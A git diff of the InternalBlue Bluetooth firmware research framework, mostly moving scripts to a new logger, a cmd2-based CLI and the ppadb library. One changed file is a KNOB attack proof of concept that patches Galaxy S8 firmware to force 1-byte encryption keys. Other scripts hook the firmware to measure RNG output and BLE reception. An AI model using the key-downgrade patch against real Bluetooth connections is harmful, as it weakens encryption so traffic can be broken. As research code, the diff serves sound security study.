log.error("Data was corrupted by another process!")
|
||||
internalblue.logger.error("Data was corrupted by another process!")
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
|
||||
|
||||
f = open("raspi3p_randomdata_pseudo-%irounds-reg0x%x.bin" % (rounds, PRAND), "wb")
|
||||
f.write(data)
|
||||
f.close()
|
||||
|
||||
internalblue.logger.info("--------------------")
|
||||
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
# enter CLI
|
||||
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
|
||||
sys.exit(cli.cmdloop())
|
||||
|
||||
@@ -3,19 +3,22 @@
|
||||
# Jiska Classen
|
||||
|
||||
# Get receive statistics on a Samsung Galaxy S8 for BLE connection events
|
||||
import sys
|
||||
from argparse import Namespace
|
||||
|
||||
from pwnlib.asm import asm
|
||||
|
||||
from builtins import range
|
||||
from internalblue.adbcore import ADBCore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm, u8, u16
|
||||
from internalblue.adbcore import ADBCore
|
||||
from internalblue.cli import InternalBlueCLI
|
||||
from internalblue.utils.packing import u8, u16
|
||||
|
||||
internalblue = ADBCore(serial=True)
|
||||
device_list = internalblue.device_list()
|
||||
if len(device_list) == 0:
|
||||
log.warn("No HCI devices connected!")
|
||||
internalblue.logger.warn("No HCI devices connected!")
|
||||
exit(-1)
|
||||
internalblue.interface = device_list[0][1] # just use the first device
|
||||
|
||||
internalblue.interface = device_list[0][1] # just use the first device
|
||||
|
||||
"""
|
||||
# _connTaskRxDone has a Patchram position, S8 fixed almost everything in BLE, because
|
||||
@@ -23,8 +26,8 @@ internalblue.interface = device_list[0][1] # just use the first device
|
||||
# The base address is 0x5E324, and this will jump into the Patchram.
|
||||
# You need to adjust the RX_DONE_HOOK_ADDRESS in the beginning.
|
||||
"""
|
||||
#RX_DONE_HOOK_ADDRESS = 0x1344D0 # on S8 with Patchlevel May 1 2019 on stock ROM
|
||||
#RX_DONE_HOOK_ADDRESS = 0x134500 # on S8 with Lineage OS Nightly from August 30 2019
|
||||
# RX_DONE_HOOK_ADDRESS = 0x1344D0 # on S8 with Patchlevel May 1 2019 on stock ROM
|
||||
# RX_DONE_HOOK_ADDRESS = 0x134500 # on S8 with Lineage OS Nightly from August 30 2019
|
||||
RX_DONE_HOOK_ADDRESS = 0x134514 # on S8 with Patchlevel September 1 2019 on stock ROM
|
||||
HOOKS_LOCATION = 0x210500
|
||||
ASM_HOOKS = """
|
||||
@@ -76,27 +79,26 @@ ASM_HOOKS = """
|
||||
//b 0x134504 // August 30 Nightly Build
|
||||
b 0x%x
|
||||
|
||||
""" % (RX_DONE_HOOK_ADDRESS+4)
|
||||
""" % (RX_DONE_HOOK_ADDRESS + 4)
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
# Install hooks
|
||||
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
|
||||
log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
|
||||
internalblue.logger.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
|
||||
if not internalblue.writeMem(HOOKS_LOCATION, code):
|
||||
log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
|
||||
internalblue.logger.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
|
||||
exit(-1)
|
||||
|
||||
log.info("Installing hook patch...")
|
||||
internalblue.logger.info("Installing hook patch...")
|
||||
patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS)
|
||||
if not internalblue.writeMem(RX_DONE_HOOK_ADDRESS, patch):
|
||||
log.critical("Installing patch for _connTaskRxDone failed!")
|
||||
internalblue.logger.critical("Installing patch for _connTaskRxDone failed!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
# RXDN statistics callback variables
|
||||
internalblue.last_nesn_sn = None
|
||||
internalblue.last_success_event = None
|
||||
@@ -123,10 +125,10 @@ def lereceiveStatusCallback(record):
|
||||
if len(data) < 239:
|
||||
return
|
||||
|
||||
#if raspi or s8:
|
||||
# if raspi or s8:
|
||||
packet_curr_nesn_sn = u8(data[0xa0])
|
||||
|
||||
#elif eval:
|
||||
# elif eval:
|
||||
# packet_curr_nesn_sn = u8(data[0xa4])
|
||||
|
||||
packet_channel_map = data[0x54:0x7b]
|
||||
@@ -135,12 +137,12 @@ def lereceiveStatusCallback(record):
|
||||
packet_rssi = data[0]
|
||||
|
||||
if internalblue.last_nesn_sn and ((internalblue.last_nesn_sn ^ packet_curr_nesn_sn) & 0b1100) != 0b1100:
|
||||
log.info(" ^----------------------------- ERROR --------------------------------")
|
||||
internalblue.logger.info(" ^----------------------------- ERROR --------------------------------")
|
||||
|
||||
# currently only supported by eval board: check if we also went into the process payload routine,
|
||||
# which probably corresponds to a correct CRC
|
||||
# if self.last_success_event and (self.last_success_event + 1) != packet_event_ctr:
|
||||
# log.debug(" ^----------------------------- MISSED -------------------------------")
|
||||
# internalblue.logger.debug(" ^----------------------------- MISSED -------------------------------")
|
||||
|
||||
# TODO example for setting the channel map
|
||||
# timeout needs to be zero, because we are already in an event reception routine!
|
||||
@@ -161,18 +163,17 @@ def lereceiveStatusCallback(record):
|
||||
for channel in range(0, channels_total):
|
||||
channel_map |= (0b1 << 39) >> packet_channel_map[channel]
|
||||
|
||||
log.info("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map,
|
||||
(packet_rssi & 0x7f) - (128 * (packet_rssi >> 7)),
|
||||
color, ' ' * packet_channel))
|
||||
internalblue.logger.info("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map,
|
||||
(packet_rssi & 0x7f) - (128 * (packet_rssi >> 7)),
|
||||
color, ' ' * packet_channel))
|
||||
|
||||
|
||||
|
||||
log.info("--------------------")
|
||||
log.info("Entering InternalBlue CLI to display statistics.")
|
||||
internalblue.logger.info("--------------------")
|
||||
internalblue.logger.info("Entering InternalBlue CLI to display statistics.")
|
||||
|
||||
# add RXDN callback
|
||||
internalblue.registerHciCallback(lereceiveStatusCallback)
|
||||
|
||||
|
||||
# enter CLI
|
||||
cli.commandLoop(internalblue)
|
||||
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
|
||||
sys.exit(cli.cmdloop())
|
||||
|
||||
+37
-40
@@ -1,10 +1,19 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
from internalblue import Address
|
||||
from internalblue.adbcore import ADBCore
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm
|
||||
|
||||
import sys
|
||||
import argparse
|
||||
from argparse import Namespace
|
||||
|
||||
import cmd2
|
||||
from cmd2 import CommandSet
|
||||
from pwnlib.asm import asm
|
||||
|
||||
from internalblue import Address, hci
|
||||
from internalblue.adbcore import ADBCore
|
||||
from internalblue.cli import InternalBlueCLI, auto_int
|
||||
from internalblue.utils.packing import p16, u16
|
||||
|
||||
"""
|
||||
This is a standalone PoC for the KNOB attack on a Samsung Galaxy S8.
|
||||
@@ -16,17 +25,15 @@ This PoC is much shorter since it only modifies global variables for key entropy
|
||||
|
||||
"""
|
||||
|
||||
|
||||
internalblue = ADBCore(serial=True)
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
|
||||
log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
|
||||
internalblue.logger.info("Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!")
|
||||
|
||||
# modify function lm_SendLmpEncryptKeySizeReq
|
||||
patch = asm("mov r2, #0x1", vma=0x530F6) # connection struct key entropy
|
||||
@@ -35,33 +42,24 @@ internalblue.patchRom(Address(0x530F6), patch)
|
||||
# modify global variable for own setting
|
||||
internalblue.writeMem(0x255E8F, b'\x01') # global key entropy
|
||||
|
||||
internalblue.logger.info("-----------------------KNOB-----------------------\n"
|
||||
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
|
||||
"To monitor device behavior, continue on the CLI, ideally with diagnostic LMP mode.\n"
|
||||
"On Android, this requires a modified bluetooth.default.so.\n"
|
||||
"-----------------------KNOB-----------------------\n"
|
||||
"Automatically continuing on KNOB interface...\n"
|
||||
"Use the 'knob' command to *debug* the attack, i.e.:\n"
|
||||
" knob --hnd 0x0c\n"
|
||||
"...shows the key size of handle 0x000c.\n")
|
||||
|
||||
|
||||
log.info("-----------------------KNOB-----------------------\n"
|
||||
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
|
||||
"To monitor device behavior, continue on the CLI, ideally with diagnostic LMP mode.\n"
|
||||
"On Android, this requires a modified bluetooth.default.so.\n"
|
||||
"-----------------------KNOB-----------------------\n"
|
||||
"Automatically continuing on KNOB interface...\n"
|
||||
"Use the 'knob' command to *debug* the attack, i.e.:\n"
|
||||
" knob --hnd 0x0c\n"
|
||||
"...shows the key size of handle 0x000c.\n")
|
||||
class KnobCommands(CommandSet):
|
||||
knob_parser = argparse.ArgumentParser()
|
||||
knob_parser.add_argument("--hnd", type=auto_int, default=0x000c, help="Handle KNOB connection.")
|
||||
|
||||
|
||||
class CmdKnob(cmd.Cmd):
|
||||
"""
|
||||
Introduce a new CLI command to make KNOB debugging easier...
|
||||
"""
|
||||
keywords = ["knob"]
|
||||
description = "Debugs which key length is currently active within a connection handle."
|
||||
|
||||
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
|
||||
|
||||
parser.add_argument("--hnd", type=auto_int, default=0x000c,
|
||||
help="Handle KNOB connection.")
|
||||
|
||||
def work(self):
|
||||
args = self.getArgs()
|
||||
@cmd2.with_argparser(knob_parser)
|
||||
def work(self, args):
|
||||
"""Debugs which key length is currently active within a connection handle."""
|
||||
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
|
||||
return True
|
||||
|
||||
@@ -76,20 +74,19 @@ def hciKnobCallback(record):
|
||||
|
||||
if hcipkt.event_code == 0x0e:
|
||||
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
|
||||
if hcipkt.data[3] == 0x12: # Error
|
||||
log.info("No key size available.\n"
|
||||
" - Did you already negotiate an encrypted connection?\n"
|
||||
" - Did you choose the correct connection handle?\n")
|
||||
if hcipkt.data[3] == 0x12: # Error
|
||||
internalblue.logger.info("No key size available.\n"
|
||||
" - Did you already negotiate an encrypted connection?\n"
|
||||
" - Did you choose the correct connection handle?\n")
|
||||
else:
|
||||
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
|
||||
internalblue.logger.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
|
||||
|
||||
return
|
||||
|
||||
|
||||
# add our command
|
||||
cmd.CmdKnob = CmdKnob
|
||||
internalblue.registerHciCallback(hciKnobCallback)
|
||||
|
||||
|
||||
# enter CLI
|
||||
cli.commandLoop(internalblue)
|
||||
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
|
||||
sys.exit(cli.cmdloop())
|
||||
|
||||
+31
-40
@@ -3,15 +3,16 @@
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
from argparse import Namespace
|
||||
from time import sleep
|
||||
|
||||
from pwn import *
|
||||
from internalblue.adbcore import ADBCore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
import numpy as np
|
||||
from pwnlib import adb
|
||||
from pwnlib.asm import asm
|
||||
|
||||
|
||||
|
||||
import internalblue.hci as hci
|
||||
from internalblue.adbcore import ADBCore
|
||||
from internalblue.cli import InternalBlueCLI
|
||||
|
||||
"""
|
||||
Measure the RNG of the Nexus 6.
|
||||
@@ -114,40 +115,31 @@ ASM_SNIPPET_RNG = """
|
||||
|
||||
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
|
||||
|
||||
|
||||
internalblue = ADBCore(log_level='info', serial=True)
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("installing assembly patches...")
|
||||
|
||||
internalblue.logger.info("installing assembly patches...")
|
||||
|
||||
# Install the RNG code in RAM
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
|
||||
internalblue.logger.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
internalblue.logger.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
internalblue.logger.info("Installed all RNG hooks.")
|
||||
adb.process(["su", "-c", "svc wifi disable"])
|
||||
|
||||
log.info("Disabled Wi-Fi core.")
|
||||
|
||||
|
||||
|
||||
internalblue.logger.info("Disabled Wi-Fi core.")
|
||||
|
||||
"""
|
||||
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
|
||||
@@ -156,6 +148,8 @@ than polling a status register in the Bluetooth firmware itself.
|
||||
"""
|
||||
# global status
|
||||
internalblue.rnd_done = False
|
||||
|
||||
|
||||
def rngStatusCallback(record):
|
||||
hcipkt = record[0] # get HCI Event packet
|
||||
|
||||
@@ -163,24 +157,23 @@ def rngStatusCallback(record):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
|
||||
log.info("Random data done!")
|
||||
internalblue.logger.info("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
# enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
# cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 100
|
||||
rounds = 100
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
internalblue.logger.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
@@ -190,13 +183,13 @@ while rounds > i:
|
||||
continue
|
||||
internalblue.rnd_done = False
|
||||
|
||||
sleep(2) # FIXME
|
||||
sleep(2) # FIXME
|
||||
# and now read and save the random
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
|
||||
data.extend(random)
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
internalblue.logger.info("Finished acquiring random data!")
|
||||
|
||||
# every 5th byte i 0x42
|
||||
check = data[4::5]
|
||||
@@ -204,22 +197,20 @@ pos = 0
|
||||
for c in check:
|
||||
pos = pos + 1
|
||||
if c != 0x42:
|
||||
log.error("!!!! data was corrupted !!! %i" % pos)
|
||||
internalblue.logger.error("!!!! data was corrupted !!! %i" % pos)
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
#data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
# data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
# FIXME we didn't remove the 0x42 in this data set!! something is wrong here
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
|
||||
|
||||
f = open("s8_randomdata_pseudo-%irounds-reg0x%x-2s-corrected.bin" % (rounds, PRAND), "wb")
|
||||
f.write(data)
|
||||
f.close()
|
||||
|
||||
internalblue.logger.info("--------------------")
|
||||
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
# enter CLI
|
||||
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
|
||||
sys.exit(cli.cmdloop())
|
||||
|
||||
@@ -25,7 +25,7 @@ BluetoothAddress = NewType("BluetoothAddress", bytes)
|
||||
ConnectionDict = NewType("ConnectionDict", Dict[str, Any])
|
||||
HeapInformation = NewType("HeapInformation", Dict[str, Any])
|
||||
QueueInformation = NewType("QueueInformation", Dict[str, Any])
|
||||
QueueInformation = NewType("MemoryPool", Dict[str, Any])
|
||||
MemoryPool = NewType("MemoryPool", Dict[str, Any])
|
||||
|
||||
try:
|
||||
|
||||
|
||||
+92
-127
@@ -1,25 +1,25 @@
|
||||
#!/usr/bin/env python2
|
||||
import struct
|
||||
import threading
|
||||
from time import sleep
|
||||
from typing import Optional
|
||||
|
||||
from future import standard_library
|
||||
|
||||
from pwnlib import adb
|
||||
from pwnlib.exception import PwnlibException
|
||||
|
||||
standard_library.install_aliases()
|
||||
from builtins import str
|
||||
import datetime
|
||||
import socket
|
||||
import queue as queue2k
|
||||
import random
|
||||
from internalblue import hci
|
||||
from internalblue.utils import bytes_to_hex
|
||||
|
||||
from ppadb.device import Device
|
||||
from ppadb.connection import Connection
|
||||
from ppadb.client import Client as AdbClient
|
||||
|
||||
from internalblue.utils.pwnlib_wrapper import log, context, u32
|
||||
from . import hci
|
||||
from .utils import bytes_to_hex
|
||||
from .utils.packing import u32
|
||||
from .core import InternalBlue
|
||||
standard_library.install_aliases()
|
||||
|
||||
|
||||
class ADBCore(InternalBlue):
|
||||
@@ -28,7 +28,6 @@ class ADBCore(InternalBlue):
|
||||
queue_size=1000,
|
||||
btsnooplog_filename="btsnoop.log",
|
||||
log_level="info",
|
||||
fix_binutils="True",
|
||||
serial=False,
|
||||
data_directory=".",
|
||||
replay=False,
|
||||
@@ -37,13 +36,18 @@ class ADBCore(InternalBlue):
|
||||
queue_size,
|
||||
btsnooplog_filename,
|
||||
log_level,
|
||||
fix_binutils,
|
||||
data_directory,
|
||||
replay,
|
||||
)
|
||||
|
||||
# Connect to adb device
|
||||
self.hciport: Optional[int] = None # hciport is the port number of the forwarded HCI snoop port (8872). The inject port is at hciport+1
|
||||
self.serial = serial # use serial su busybox scripting and do not try bluetooth.default.so
|
||||
self.doublecheck = False
|
||||
self.client = AdbClient(host="127.0.0.1", port=5037)
|
||||
|
||||
def device(self) -> Device:
|
||||
return self.client.device(self.interface)
|
||||
|
||||
def device_list(self):
|
||||
"""
|
||||
@@ -54,16 +58,16 @@ class ADBCore(InternalBlue):
|
||||
self.shutdown()
|
||||
|
||||
if self.running:
|
||||
log.warn("Already running. call shutdown() first!")
|
||||
self.logger.warning("Already running. call shutdown() first!")
|
||||
return []
|
||||
|
||||
if self.replay:
|
||||
return [(self, "adb_replay", "adb: ReplayDevice")]
|
||||
# Check for connected adb devices
|
||||
try:
|
||||
adb_devices = adb.devices()
|
||||
adb_devices = self.client.devices()
|
||||
except ValueError:
|
||||
log.info(
|
||||
self.logger.info(
|
||||
"Could not find devices with pwnlib. If you see devices with `adb devices`, try to remove the lines 'for field in fields[2:]:... = v' in `pwnlib/adb/adb.py`."
|
||||
)
|
||||
adb_devices = 0
|
||||
@@ -71,19 +75,19 @@ class ADBCore(InternalBlue):
|
||||
adb_devices = 0
|
||||
|
||||
if adb_devices == 0 or len(adb_devices) == 0:
|
||||
log.info("No adb devices found.")
|
||||
self.logger.info("No adb devices found.")
|
||||
return []
|
||||
|
||||
# At least one device found
|
||||
log.info("Found multiple adb devices")
|
||||
self.logger.info("Found multiple adb devices")
|
||||
|
||||
# Enumerate over found devices and put them into an array of tupple
|
||||
# Enumerate over found devices and put them into an array of tuple
|
||||
# First index is a self reference of the class
|
||||
# Second index is the identifier which is passed to connect()
|
||||
# Third index is the label which is shown in options(...)
|
||||
device_list = []
|
||||
for d in adb_devices:
|
||||
device_list.append((self, d.serial, "adb: %s (%s)" % (d.serial, d.model)))
|
||||
device_list.append((self, d.serial, "adb: %s (%s)" % (d.get_serial_no(), d.get_properties()['ro.product.model'])))
|
||||
|
||||
return device_list
|
||||
|
||||
@@ -93,28 +97,25 @@ class ADBCore(InternalBlue):
|
||||
device via adb and the debugging TCP ports.
|
||||
"""
|
||||
|
||||
# Connect to adb device
|
||||
context.device = self.interface
|
||||
|
||||
# setup sockets
|
||||
# on magisk-rooted devices there is sometimes already a read socket and this first setup needs to be skipped...
|
||||
if not self.serial:
|
||||
if not self._setupSockets():
|
||||
log.info("Could not connect using Bluetooth module.")
|
||||
log.info(
|
||||
self.logger.info("Could not connect using Bluetooth module.")
|
||||
self.logger.info(
|
||||
"Trying to set up connection for rooted smartphone with busybox installed."
|
||||
)
|
||||
else:
|
||||
return True # successfully finished setup with bluetooth.default.so
|
||||
|
||||
if not self._setupSerialSu():
|
||||
log.critical("Failed to setup scripts for rooted devices.")
|
||||
self.logger.critical("Failed to setup scripts for rooted devices.")
|
||||
return False
|
||||
|
||||
# try again
|
||||
if not self._setupSockets():
|
||||
log.critical("No connection to target device.")
|
||||
log.info(
|
||||
self.logger.critical("No connection to target device.")
|
||||
self.logger.info(
|
||||
"Check if:\n -> Bluetooth is active\n -> Bluetooth Stack has Debug Enabled\n -> BT HCI snoop log is activated\n -> USB debugging is authorized\n"
|
||||
)
|
||||
return False
|
||||
@@ -138,7 +139,7 @@ class ADBCore(InternalBlue):
|
||||
u32(data[8:12], endian="big"),
|
||||
u32(data[12:16], endian="big"),
|
||||
)
|
||||
log.debug("BT Snoop Header: %s, version: %d, data link type: %d" % btsnoop_hdr)
|
||||
self.logger.debug("BT Snoop Header: %s, version: %d, data link type: %d" % btsnoop_hdr)
|
||||
return btsnoop_hdr
|
||||
|
||||
def _btsnoop_parse_time(self, time):
|
||||
@@ -168,23 +169,20 @@ class ADBCore(InternalBlue):
|
||||
if it encounters a fatal error or the stackDumpReceiver reports that the chip crashed.
|
||||
"""
|
||||
|
||||
log.debug("Receive Thread started.")
|
||||
self.logger.debug("Receive Thread started.")
|
||||
|
||||
while not self.exit_requested:
|
||||
# Little bit ugly: need to re-apply changes to the global context to the thread-copy
|
||||
context.log_level = self.log_level
|
||||
|
||||
# Read the record header
|
||||
record_hdr = b""
|
||||
while not self.exit_requested and len(record_hdr) < 24:
|
||||
try:
|
||||
recv_data = self.s_snoop.recv(24 - len(record_hdr))
|
||||
log.debug(
|
||||
self.logger.debug(
|
||||
"recvThreadFunc: received bt_snoop data "
|
||||
+ bytes_to_hex(recv_data)
|
||||
)
|
||||
if len(recv_data) == 0:
|
||||
log.info(
|
||||
self.logger.info(
|
||||
"recvThreadFunc: bt_snoop socket was closed by remote site. stopping recv thread..."
|
||||
)
|
||||
self.exit_requested = True
|
||||
@@ -195,7 +193,7 @@ class ADBCore(InternalBlue):
|
||||
|
||||
if not record_hdr or len(record_hdr) != 24:
|
||||
if not self.exit_requested:
|
||||
log.warn("recvThreadFunc: Cannot recv record_hdr. stopping.")
|
||||
self.logger.warning("recvThreadFunc: Cannot recv record_hdr. stopping.")
|
||||
self.exit_requested = True
|
||||
break
|
||||
|
||||
@@ -213,7 +211,7 @@ class ADBCore(InternalBlue):
|
||||
try:
|
||||
recv_data = self.s_snoop.recv(inc_len - len(record_data))
|
||||
if len(recv_data) == 0:
|
||||
log.info(
|
||||
self.logger.info(
|
||||
"recvThreadFunc: bt_snoop socket was closed by remote site. stopping.."
|
||||
)
|
||||
self.exit_requested = True
|
||||
@@ -224,7 +222,7 @@ class ADBCore(InternalBlue):
|
||||
|
||||
if not record_data or len(record_data) != inc_len:
|
||||
if not self.exit_requested:
|
||||
log.warn("recvThreadFunc: Cannot recv data. stopping.")
|
||||
self.logger.warning("recvThreadFunc: Cannot recv data. stopping.")
|
||||
self.exit_requested = True
|
||||
break
|
||||
|
||||
@@ -247,9 +245,9 @@ class ADBCore(InternalBlue):
|
||||
parsed_time,
|
||||
)
|
||||
|
||||
log.debug(
|
||||
"_recvThreadFunc Recv: [" + str(parsed_time) + "] " + str(record[0])
|
||||
)
|
||||
# self.logger.debug(
|
||||
# "_recvThreadFunc Recv: [" + str(parsed_time) + "] " + str(record[0])
|
||||
# )
|
||||
|
||||
# Put the record into all queues of registeredHciRecvQueues if their
|
||||
# filter function matches.
|
||||
@@ -258,7 +256,7 @@ class ADBCore(InternalBlue):
|
||||
try:
|
||||
queue.put(record, block=False)
|
||||
except queue2k.Full:
|
||||
log.warn(
|
||||
self.logger.warning(
|
||||
"recvThreadFunc: A recv queue is full. dropping packets.."
|
||||
)
|
||||
|
||||
@@ -268,12 +266,12 @@ class ADBCore(InternalBlue):
|
||||
callback(record)
|
||||
|
||||
# Check if the stackDumpReceiver has noticed that the chip crashed.
|
||||
# if self.stackDumpReceiver and self.stackDumpReceiver.stack_dump_has_happend:
|
||||
# A stack dump has happend!
|
||||
# log.warn("recvThreadFunc: The controller sent a stack dump.")
|
||||
# if self.stackDumpReceiver and self.stackDumpReceiver.stack_dump_has_happened:
|
||||
# A stack dump has happened!
|
||||
# self.logger.warning("recvThreadFunc: The controller sent a stack dump.")
|
||||
# self.exit_requested = True
|
||||
|
||||
log.debug("Receive Thread terminated.")
|
||||
self.logger.debug("Receive Thread terminated.")
|
||||
|
||||
def _setupSockets(self):
|
||||
"""
|
||||
@@ -290,22 +288,14 @@ class ADBCore(InternalBlue):
|
||||
self.hciport = random.randint(
|
||||
60000, 65534
|
||||
) # minus 1, as we are using hciport + 1
|
||||
log.debug(
|
||||
self.logger.debug(
|
||||
"_setupSockets: Selected random ports snoop=%d and inject=%d"
|
||||
% (self.hciport, self.hciport + 1)
|
||||
)
|
||||
|
||||
# Forward ports 8872 and 8873. Ignore log.info() outputs by the adb function.
|
||||
saved_loglevel = context.log_level
|
||||
context.log_level = "warn"
|
||||
try:
|
||||
adb.adb(["forward", "tcp:%d" % (self.hciport), "tcp:8872"])
|
||||
adb.adb(["forward", "tcp:%d" % (self.hciport + 1), "tcp:8873"])
|
||||
except PwnlibException as e:
|
||||
log.warn("Setup adb port forwarding failed: " + str(e))
|
||||
return False
|
||||
finally:
|
||||
context.log_level = saved_loglevel
|
||||
# Forward ports 8872 and 8873. Ignore self.logger.info() outputs by the adb function.
|
||||
self.device().forward(f"tcp:{self.hciport}", "tcp:8872")
|
||||
self.device().forward(f"tcp:{self.hciport+1}", "tcp:8873")
|
||||
|
||||
# Connect to hci injection port
|
||||
self.s_inject = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
@@ -313,7 +303,7 @@ class ADBCore(InternalBlue):
|
||||
self.s_inject.connect(("127.0.0.1", self.hciport + 1))
|
||||
self.s_inject.settimeout(0.5)
|
||||
except socket.error:
|
||||
log.warn("Could not connect to adb. Is your device authorized?")
|
||||
self.logger.warning("Could not connect to adb. Is your device authorized?")
|
||||
return False
|
||||
|
||||
# Connect to hci snoop log port
|
||||
@@ -322,15 +312,12 @@ class ADBCore(InternalBlue):
|
||||
self.s_snoop.settimeout(0.5)
|
||||
|
||||
# Read btsnoop header
|
||||
if self._read_btsnoop_hdr() == None:
|
||||
log.warn("Could not read btsnoop header")
|
||||
if self._read_btsnoop_hdr() is None:
|
||||
self.logger.warning("Could not read btsnoop header")
|
||||
self.s_inject.close()
|
||||
self.s_snoop.close()
|
||||
self.s_inject = self.s_snoop = None
|
||||
context.log_level = "warn"
|
||||
adb.adb(["forward", "--remove", "tcp:%d" % (self.hciport)])
|
||||
adb.adb(["forward", "--remove", "tcp:%d" % (self.hciport + 1)])
|
||||
context.log_level = saved_loglevel
|
||||
self.device().killforward_all()
|
||||
return False
|
||||
return True
|
||||
|
||||
@@ -346,18 +333,16 @@ class ADBCore(InternalBlue):
|
||||
self.s_snoop.close()
|
||||
self.s_snoop = None
|
||||
|
||||
saved_loglevel = context.log_level
|
||||
context.log_level = "warn"
|
||||
if self.hciport is not None:
|
||||
hciport = self.hciport
|
||||
try:
|
||||
adb.adb(["forward", "--remove", f"tcp:{hciport}"])
|
||||
adb.adb(["forward", "--remove", f"tcp:{hciport + 1}"])
|
||||
except PwnlibException as e:
|
||||
log.warn("Removing adb port forwarding failed: " + str(e))
|
||||
return False
|
||||
finally:
|
||||
context.log_level = saved_loglevel
|
||||
self.device().killforward_all()
|
||||
|
||||
def _spawn(self, cmd: str):
|
||||
conn: Connection = self.device().create_connection()
|
||||
cmd = "exec:{}".format(cmd)
|
||||
conn.send(cmd)
|
||||
while True:
|
||||
sleep(1)
|
||||
|
||||
def _setupSerialSu(self):
|
||||
"""
|
||||
@@ -380,61 +365,41 @@ class ADBCore(InternalBlue):
